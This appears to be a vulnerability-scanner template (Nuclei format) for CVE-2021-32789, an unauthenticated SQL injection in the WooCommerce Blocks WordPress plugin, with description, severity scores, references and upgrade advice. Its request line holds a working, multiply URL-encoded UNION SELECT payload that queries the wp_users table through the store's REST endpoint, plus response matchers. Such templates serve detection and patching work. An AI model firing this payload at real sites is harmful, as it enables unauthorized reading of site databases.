WooCommerce Blocks 2.5 to 5.5 - Unauthenticated SQL Injection

id: CVE-2021-32789

info:
  name: WooCommerce Blocks 2.5 to 5.5 - Unauthenticated SQL Injection
  author: rootxharsh,iamnoooob,S1r1u5_,cookiehanhoan,madrobot
  severity: high
  description: |
    woocommerce-gutenberg-products-block is a feature plugin for WooCommerce Gutenberg Blocks. An SQL injection vulnerability impacts all WooCommerce sites running the WooCommerce Blocks feature plugin between version 2.5.0 and prior to version 2.5.16. Via a carefully crafted URL, an exploit can be executed against the `wc/store/products/collection-data?calculate_attribute_counts[][taxonomy]` endpoint that allows the execution of a read only sql query. There are patches for many versions of this package, starting with version 2.5.16. There are no known workarounds aside from upgrading.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the affected system.
  remediation: |
    Update WooCommerce Blocks to version 5.6 or later to mitigate the vulnerability.
  reference:
    - https://woocommerce.com/posts/critical-vulnerability-detected-july-2021
    - https://viblo.asia/p/phan-tich-loi-unauthen-sql-injection-woocommerce-naQZRQyQKvx
    - https://securitynews.sonicwall.com/xmlpost/wordpress-woocommerce-plugin-sql-injection/
    - https://wpscan.com/vulnerability/0f2089dc-9376-4d7d-95a2-25c99526804a
    - https://nvd.nist.gov/vuln/detail/CVE-2021-32789
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-32789
    cwe-id: CWE-89
    epss-score: 0.17227
    epss-percentile: 0.96726
    cpe: cpe:2.3:a:automattic:woocommerce_blocks:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: automattic
    product: woocommerce_blocks
    framework: wordpress
  tags: cve2021,cve,wordpress,woocommerce,sqli,wp-plugin,wp,wpscan,automattic,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/?rest_route=/wc/store/products/collection-data&calculate_attribute_counts[0][query_type]=or&calculate_attribute_counts[0][taxonomy]=%252522%252529%252520union%252520all%252520select%2525201%25252Cconcat%252528id%25252C0x3a%25252c%252522sqli-test%252522%252529from%252520wp_users%252520where%252520%252549%252544%252520%252549%25254E%252520%2525281%252529%25253B%252500'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'sqli-test'
          - 'attribute_counts'
          - 'price_range'
          - 'term'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200
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